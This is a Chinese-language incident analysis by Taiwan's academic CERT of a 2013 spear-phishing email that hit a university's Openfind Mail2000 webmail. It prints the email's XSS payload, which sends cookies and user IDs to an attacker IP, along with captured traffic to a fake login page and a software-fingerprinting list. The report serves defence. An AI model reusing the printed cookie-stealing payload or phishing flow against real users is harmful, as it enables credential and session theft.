

TACERT 臺灣學術網路危機處理中心團隊製

2013/12

I. 事件經過:

- A. 某C大學的郵件系統為Openfind Mail2000 電子郵件系統。
- B. 該校某系所有四位教授同時收到一封來自系上某位 K 教授的轉寄信件,而 該信件的標題為 "Fw: 老師,有事請教」。
- C. 當這封轉寄出的信件由其他老師開啟後會自動登出 Web Mail,轉跳至登入頁面且登入帳號會變成該 K 教授的 Mail 帳號,並要求重新登入 Web Mail。
- D. 該校資安人員將可疑的原始信件封存,並請本單位 TACERT 檢測。

II. 事件檢測:

- A. 我們使用 VM 虛擬機器,並安裝 Win7 (x64)及啟用 Wireshark 側錄信件開 啟過程網路封包。
- B. 因為我們無該校的郵件帳號於 WEB MAIL 測試,故使用 Outlook 2010 開啟 該郵件。
- C. 信件內容主要為一位戴姓學生向 K 教授請教問題,可疑之處是這是一封轉 寄的郵件,開啟後會彈出一個圖片是否顯示的提示訊息,按下顯示圖片後 並無出現圖片。

			まわ 〒20年 /11〒6.415		_		x
	2 -	W: 名叫, 月 事。	寫 9X - 991+ (FIIIVIL)	(中世 前興)			
相案	6件					2	
\times		P	🗟 標示為未讀取	諭 繁轉簡	a _{rth} #		
& * 前除		移動	╋╋ → 分類 →	繁 簡轉繁	 ∰≣ •}-	顯示比例	
		· · · · · · · · · · · · · · · · · · ·	♥ 待處理 ▼	输 中文繁簡轉換	- & -		
刪除	回覆	移動	標鏡 5	中文繁簡轉換	編輯	顯示比例	
◎ 按一下這被	里下載圖片。為了協助保護您的隱	私,Outlook不	5會自動下載郵件中的	り某些圖片。			
寄件者: Ch	<ch .edu.tw="" @=""></ch>			寄件日期:	2013/8/13 (划	國二) 上午 12	2:58
收件者: 胡							
副本:							
主旨: Fw:	老師,有事請教						_
Forwa	urded message						8
From:戴	<pre><we ng567@gmail.<="" pre=""></we></pre>	com>					
To:ch	<pre><ch .edu.tw="" @=""></ch></pre>						
Date: Sat	, 10 Aug 2013 15:07:48 +08	300 (CST)					
Subject:	老師,月爭請教						
老師您好	:						
10000							
學生目前	[在美國亞利桑那大學攻讀	孙交方面事	宜,近期擬就相	目關疑問請教老師	肺,不知妥貧	當否	
ALL ALL							
祝教女							
學生戴	敬上						
Ω	and the second se					RR	~

- D. 檢視信件原始碼可以看到該信的 HTML 標籤程式,確實有被植入一段惡意 程式碼於信件開啟背景執行,主要是竊取使用者瀏覽器的 cookie。
- E. 此程式碼中有一個轉跳的網址連結,後方有帶出使用者帳號 uid, 『http://112.121.163.172/warlord/mxxf/indexCP.asp』。



F. 測試開啟該網址後出現一個 Openfind MAIL2000 的登入畫面,該網站 IP 「112.121.163.172」位於香港,明顯是惡意釣魚網頁,一旦輸入個人帳 密就會被竊取。

http://112.121.163.172/warlord/mxxf/indexCP.asp - Win	dows Internet Explorer	
C	exCP.asp 🗸 💀 😽 🗙 🚺 🔁 Bing	• م
🚖 我的最愛 🛛 🏫 🖸 建譜的網站 👻 🔊 網頁快訊圖庫 👻		
6 http://112.121.163.172/warlord/mxxf/indexCP	🚹 ▼ 🔝 ▼ 🖃 🖶 紙頁(P)▼ 安全性(S)▼	_ 工具(0) ▼ 🔞 ▼ 🦈
setTimeout("test()",0); var a; a=1; if(a=0) { function t	est() { top.document.write("	
Openfind		
MAIL 2000		
MAIL2000		
	您使用Mail2000信箱	
	nan Mala na ini ini ini ini ina	
	錯誤 您的瀏覽器未送出cookie,請確認cookie設定已打開	
	瀏覽器無法通過認證,請重新輸入帳號及密碼,繼續您未完成的工作。	
	AE 0.6.	
-	Net Sp Login Name	
	密碼: Password	
	登入	
Convrig	at © 2006 Ovenfind Information Technology. Inc. All rights reserved.	
	版權所有 網攀資訊軟體股份有限公司	
完成	🚱 網際網路 受保羅模式: 啟動 🛛 🌾	▼ € 110% ▼

圖、釣魚網頁,上方的程式碼因為

駭客未寫好顯示出來

G. 测試使用該帳號登入,密碼則隨意輸入後,會顯示「該網站拒絕顯示此 網頁」的字樣,也就是無法成功登入,因為是偽造的網站,但輸入的資料已被伺服器接收。

🙆 HTTP 403 葉止 - Windows Internet Explorer	_ D _ X
C C F http://112.121.163.172/warlord/mxxf/ - 47 X D Bing	• ۹
🖕 我的最爱 🛛 🍃 建膳的網站 🔻 💋 網頁快訊圖庫 👻	
	Į(O) ▾ 🕢 ▾ 🎽
該網站拒絕顯示此網頁	
最有可能的原因: • 此網站要求您登入。	
您可以嘗試的方式:	
● 回到上一頁 ·	
● 其他資訊 □	
< · · · · · · · · · · · · · · · · · · ·	€ 110%

H. 嘗試將信件原始碼存成 html 檔案用 IE 執行,則無法成功如該校老師所反 映的會出現登出再登入的頁面,可能原因為並非用 Web Mail 去開啟信件。

III. 侧錄流量分析

A. 信件原始碼有一段程式碼(紅框所示)會去插入名為"x"圖片,然而因為 實際上無此圖檔,故會觸發執行 onerror 程式碼 "xsscodel"(綠色框 線所示),再去呼叫伺服器的 indexCP. asp,也就是釣魚網站的頁面。

🧉 file:///C:/Users/whoami/Desktop/email.html - 原先的原始檔				
檔案(F) 編	輯(E) 格式(O)			
1	<hr/> <hr/> <hr/>	~		
2	Forwarded message	٦		
3				
4	From: 戴 <we ng567@gmail.com>			
5	To: ch <ch @ .edu.tw>			
6	Date: Sat, 10 Aug 2013 15:07:48 +0800 (CST)			
7	<bsubject:< b=""> 老師,有事請教 </bsubject:<>			
8	老師您好			
9	學生目前在美國亞利桑那大學攻讀外交方面事宜,近期擬就相關疑問請教老師,不知妥當否			
10	祝教安			
11	enbsp;	=		
12	&			
	nbsp;			
	p; 學生載 敬上			
	style="display:none"> <div id="xsscode1" title="if(!window.xxxyyyzzz)</td><td></td></tr><tr><th></th><td><pre>{window.xxxyyyzzz=1;if(document.getElementById('savecookie792318')==null)</pre></td><td></td></tr><tr><th>13</th><td>{var data=top.location.href;var s=document.createElement(String.fromCharCode</td><td></td></tr><tr><th></th><td>(115,99,114,105,112,116));s.id='forXssUser';s.name='127';s.src=String.fromCharCod</td><td></td></tr><tr><th></th><td>e(104,116,112,58,47,47)+'112.121.163.172/warlord/mxxf/indexCP.asp?</td><td></td></tr><tr><th></th><td>uid=mchedu.tw&delay=m3&urit='+data+'&cookie='+escape</td><td></td></tr><tr><th>1.4</th><td><pre>(document.cookie);top.document.body.insertAdjacentEiement('DeroreBegin',8);})"> </div>			
14	(varged) title) user (varged) title) (varget) % one for - alert			
10	(Association of the social association of the social socia	-		

- B. 程式碼(document.cookie)會將主機的 cookie 資料送出給偽造網站。
- C. 呼叫 indexCP. asp 後伺服器會回覆 indexP_1. asp 給用戶端。

	Content - Session 207	- # ×	
13			
Net	Witness Reconstruction for session ID: 207 (Source 140.117. 49230, Target 1 8/13/2013 17:19:31 to 8/13/2013 17:20:35 Parket Size 76:401 budgs Payload Size 72:201 budgs	2.121.163.172 : 80)	
R R Q U E S T	<pre>BET /varloid/axxf/indexCP.asp HTTP/1.1 Kccept: application/x-as-polication/index/ipg, application/xal+xal, image/gif , image/pipg, application/x-as-xbap, */* Accept-language: zh-TV Vser-Agent: Worilla/4.0 (compatible; MSIE 8.0; Vindows WT 6.1; WOW64; Trident/4.0 ; SLCC2: .BIT CLR 2.0.50727; .BIT CLR 3.5.30729; .BET CLR 3.0.30729; Media Center PC 6.0; inforath.3) Accept-Encoding: gzip, deflate Piost: 112.1163.172 Connection: Keep-Alive</pre>	<pre>HTTP/1.1 200 08 Date: Tee, 13 Aug 2013 09:24:12 GNT Server: Microsoft-IIS/6.0 X-Powrad-By: ASP.NET Content-Length: 392 Content-Type: rest/Mtal Set-Conkit: ASPESSIONIDQABSDBST=NBICNBHAAGHEENINGHJEECA0; path=/ Cache-control: private setTimeout("test()",0); var a; a=1; if(a=0) { function test() function test() { top_document.write("chtml>=\mead>=/head>=/maxifindexP_lasp1wid=#margin:0 0 0 0; ">Cifiame src=http://112.121.103.172/varlord/maxifindexP_lasp1wid=#marl=Mins=112. 121.163.172/write("dtml=>0% height=100% frameBorder=no border=0 VSPACE=0 hepac e=0 style="margin:0 0 0 0;"></pre>	

D. 用戶端向伺服器 GET 檔案 indexP_1. asp, 伺服器則執行回應 ncuu. asp。



E. 用戶端向伺服器GET檔案 ncuu. asp,解析出該 ASP 內有段 script 和 iframe 連結, iframe 會參照連結至 monitor. asp 並帶入 K 教授的 Mail 位置。



F. Monitor.asp 主要用來比對用戶端所安裝軟體是否在清單內,伺服器執行 完 monitor.asp 回傳的 html 程式碼中,會執行一段指令

Save(info, 'detect. asp?a=scan&uid=&ip=140. 117. X. X&id=&inf='+info

);} 。



	//download
	["Flashget","un",program+"FlashGet\\flashget.exe/16/1",0,1],
	["Flashget","3",program+"FlashGet Network\\FlashGet 3\\Flashget3.exe/16/1",1,1],
	["Flashget","3.7",program+"FlashGet Network\\FlashGet 3\\Flashget3.exe/16/1",1,1],
	["Thunder","5.8x",program+"Thunder Network\\Thunder\\Thunder.exe/16/1",0,1],
	["Thunder","5.9",program+"Thunder Network\\Thunder\\Program\\Thunder.exe/16/1",0,1],
	["Thunder","6",program+"Thunder Network\\Thunder6\\Thunder.exe/16/1",0,1],
	["Thunder","7.1",program+"Thunder Network\\Thunder\\program\\Thunder.exe/16/1",1,1],
	["Thunder","7.2",program+"Thunder Network\\Thunder\\program\\DoctorServiceDLL.dll/16/1",1,1],
	["eMule","un",program+"eMule\\emule.exe/16/1",0,1],
	["eMule","2",program+"easyMule2\\easyMule.exe/16/1",0,1],
	["eMule","1.2.0",program+"easyMule\\emule.exe/16/1",0,1],
	//["BT","a","BitComet\\BitComet.exe/16/1",0,0],
	//["QQDownload","a","Tencent\\QQDownload\\QQDownload.exe/16/1",0,0],
	//["BitSpirit","a","BitSpirit\\BitSpirit.exe/16/1",0,0],
	["Serv-U","10",program+"RhinoSoft.com\\Serv-U\\Serv-U.exe/16/1",0,0],
	["radmin","2.2",program+"Radmin\\radmin.exe/16/1",0,1],
	["radmin ser","3.3",program+"rserver30\\rserver3.exe/16/1",0,1],
	["radmin view","3.3",program+"Radmin Viewer 3\\radmin.exe/16/1",0,1],
	["UltraVNC","A",program+"UltraVNC\\winvnc.exe/16/1",0,1],
	["pcAnywhere","A",program+"Symantec\\pcAnywhere\\Winaw32.exe/16/1",0,1],
	["RealVNC","4",program+"RealVNC\\VNC4\\vncviewer.exe/16/1",0,1],
_	

圖、detect. asp 偵測軟體清單

G. 用戶端會因為 detect. asp 開始傳送(POST)電腦的資料給伺服器,如比對 到的作業系統版本、瀏覽器版本、Outlook版本等。此例被偵測到 Adobe Flash、Win7、IE8、Office2010、Windows Media Player 11。



H. 正式在釣魚網頁輸入帳號和密碼,確實被伺服器所接收成功,此處的密碼 o

是隨意輸入的字串 "gsdfgfsdgsdfg"

${}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}$	
NetWitness Reconstruction for session ID: 229 (Source 140.117. 49242, Target Time 8/13/2013 17:20-47 to 8/13/2013 17:23:04 Packet Size 6,010 bytes Payload Size 5,092 bytes Percente J036/640 — Elbert from Accembited Aparticas Network future and Accel Count 16	112.121.163.172 : 80)
POST /warlord/mxxf/login.asp?url= HTTP/1.1 Accept: application/x=ms-application, image/jpeg, application/xaml+xml, image/gif , image/pipeg, application/x=ms-app.1/4 Referer: http://112.121.163.172/warlord/mxxf/ncuu.asp?uid=ch @ .edu.tw&url =&dns=112.121.163.172/warlord Accept-Language: sh TW User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0 ; SLCC2; NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Content-Type: application/x=www-form-urlencoded Accept-Encoding: zzip, deflate Host: 112.121.163.172 Content-Length: 120 Content-Length: 120 Content-L	HTTP/1.1 200 OK Date: Tue, 13 Aug 2013 09:25:37 GMT Sorver: Microsoft-115/6.0 X-Powered-By: ASP.WET Content-Length: 38 Content-Type: text/html Cache-control: private <script>top.location.href='';</script>

I. 伺服器接收完後執行<script> top. location. href= '', 會使頁面回到 /warlord/mxxf/,並出現 "403 Forbidden"的訊息。因為是偽造的網頁, 所以無法存取內容,此時使用者才會驚覺上當。



IV. 事件網路架構圖



STEP 1: 駭客成功在K教授電腦植入後門程式,方式可能同為釣魚郵件。 STEP 2.1-2.2: K教授的受感染電腦向系上其他同仁發送惡意釣魚郵件。 STEP 3:若有同仁開啟郵件後會轉跳至偽造的Mail Server登入網頁,誘使輸入郵件帳密並竊取。 STEP 4: 釣魚網頁將收集到的Mail帳號密碼傳給駭客使用。

V. 事件結論

- A. 此信件為針對性的(APT)社交工程郵件攻擊,信件轉發者 K 教授電腦可能 已遭受入侵,並當作駭客的跳板轉發釣魚信件給其他同仁。
- B. 其他收到轉發信的同仁於 Web Mail 開啟信件後會自動轉跳至釣魚頁面, 讓人誤以為帳號被登出,並誘使輸入自己的帳號密碼重新登入。
- C. 信件開啟時使用者電腦的軟體版本資訊和 Cookie 會被竊取。
- D. 在釣魚頁面一旦輸入帳號密碼就會被駭客所竊取,務必盡快更改密碼。

VI. 建議措施

- A. 當使用者收到間接或直接相關的信件時,要注意是否會有一些異常現象, 當有非預期現象產生時可能就是惡意郵件。
- B. 網頁版的郵件登入時候要注意網頁 IP 位址是否正常,偽造的網站通常會 直接用 IP 顯示而非網域名稱。
- C. 如果不小心在釣魚網頁輸入個人資訊,務必盡速更改帳號密碼以及清除瀏 覽器的 cookie 和暫存的紀錄,以防被駭客利用。
- D. 強化宣導使用者關於(APT)社交工程攻擊的資訊安全觀念,以降低使用者 個資外洩的風險。

